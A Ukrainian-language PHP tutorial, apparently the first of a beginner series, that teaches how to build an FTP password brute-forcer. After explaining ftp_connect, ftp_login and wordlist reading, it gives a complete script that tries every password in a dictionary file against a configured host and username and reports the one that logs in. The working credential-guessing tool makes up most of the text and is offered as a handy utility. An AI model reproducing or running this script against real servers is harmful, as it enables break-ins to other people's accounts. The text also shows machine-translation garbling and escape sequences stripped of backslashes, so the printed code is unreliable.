Вступ: На написання циклу статей з цієї теми мене надихнула легка ностальгія за perl ‘ у. Перл, іде потроху, а його місце займає php. Так, у php менше можливостей у деяких областях. Експлоїти на ньому, наприклад особливо не вдієш, але в плані веба, перевагу php очевидно.
Також, невеликі прикладні програми пишуться на ньому дуже добре, і часто простіше, ніж на перлі.
Відразу скажу, що статті оренированы на новачків, але не на тих, хто не знає що таке php і що робить if. Так само передбачається, що у читачів на комп’ютері вже встановлений і налаштований інтерпретатор php(скачати можна на http://php.net)

Тема уроку:«ftp bruteforcer»
Короткий опис:
Починати треба з чогось нескладного, і притому корисного. Якраз до таких речей відноситься брутер для ftp.
Що робить: Брутит паролі до певного логіном за словником. Жере мало пам’яті, невимогливий до ресурсів.

ТП:

2 функції для роботи з фтп:
ftp_connect($host,$port,$delay)
Встановлює з’єднання з вказаним сервером на вказаний порт.
У разі успішного з’єднання повертає дескриптор.
Якщо ж за указаноое час $delay з’єднання не встановлено, повертає false

ftp_login($descriptor,$login,$pass)

Здійснює вхід на сервер.
Якщо вхід зроблений, повертає true. Інакше повертає false і закриває з’єднання.

Наприклад:
$ftp = ftp_connect(«localhost»,21,100) or die(«can’t connect»);
ftp_login($ftp,«test»,«12345») or die(«Login incorrect»);

Ці 2 функції і будуть основою брутера.

Зчитування паролів зі словника:

Відкриття файлу:
Відкриття здійснюється функцією fopen($filename,$mode)
При успішному відкритті повертає дескриптор для подальшої роботи.
Інакше повертає false.
Як $mode ми будемо використовувати «rt», що означає відкриття файлу на читання в текстовому режимі.

$dict = fopen(«passwords.txt»,«rt») or die(«can’t open dictionary»);
die() — завершує роботу сценарію з виведенням повідомлення.

Читання рядка:
Читання в текстовому режимі виробляє функція fgets($descriptor,$number)
Вона читає $number символів поточного рядка і переводить курсор на наступну рядок.
Якщо параметр $number не вказано, то читається вся рядок(разом з символами переведення каретки і нового рядка).
Для того, щоб исключть ці символи, використовується функція chop($string), яка виключає всі пропуски(” “,«r»,«n»,«t»,«v») символи з кінця рядка.

Перевірка на кінець файлу:
Використовується функція feof($desciptor), яка повертає true, якщо досягнуто кінець файлу
while (!feof($dict)) {
$pass = chop(fgets($dict)); }
Цикл while працює до тих пір, поки не досягнуто кінець файлу і по черзі записує кожну рядок в змінну $pass. Це основна ідея брутера.

Призупинення сценарію:

Для припинення використовуються 2 функції: sleep($num) та usleep($num)

Відмінність в тому, що sleep() приймає параметр в секундах, а usleep() у мілісекундах
Це все, що треба знати. Тепер робимо саму програму.

//////////////////Configuration////////////////////
$host = ‘localhost’; //Сервер, який брутим
$port = 21; //Порт
$delay = 100; // Таймаут на встановлення з’єднання
$pause = 50; //Пауза між соеденениями (в мілісекундах)
$login = ‘user’; //Ім’я, яке брутим
$dictionary = ‘passw.txt’; //Файл з паролями
ini_set(«display_errors»,«0»); //Це щоб при кожній невдалої спроби входу на фтп не вилазило попередження////////////////////////////////////////////////////

echo «ntttFTP BRUTEFORCERnHost: $hostnPort: $portnUser: $loginnn»; //Виводимо заголовок і інформацію
$dict = fopen($dictionary,«rt») or die(«can’t open dictionary: $dictionary»); //Відкриваємо файл з паролями, або видаємо помилку.
$count=1; // Встановлюємо лічильник паролів
while(!feof($dict)) {
$ftp = ftp_connect($host,$port,$delay); //Коннектимся
if (!$ftp) {echo («can’t connect to servern»); usleep($pause); continue;} //Якщо приконнектится не вдалося, говоримо про це, чекаємо, і пробуємо ще раз
$pass = chop(fgets($dict)); //Зчитуємо пароль
if(ftp_login($ftp,$login,$pass)) //Пробуємо авторизуватись
die («nPassword found: $pass»); // Якщо авторизувалися, говоримо, що пароль знайдений і завершуємо роботу
else { // Інакше
echo $pass; //виводимо поточний пароль
if (strlen($pass)<20) {for ($i=0;$i!=20-strlen($pass);$i++) echo ‘ ‘;} //Виводимо кількість прогалин, відсутню до 20 (для краси)
echo “: $count passwords checked, брут…n”; // Показуємо лічильник, говоримо, що брутится
$count++; //Збільшуємо лічильник
usleep($pause); //Робимо паузу
}}
echo «nPassword not found :(»; //Якщо ми опинилися тут, значить ні один пароль словника не підійшов, про що і повідомляємо.
?>

От і все поки що.
Продовження випливає.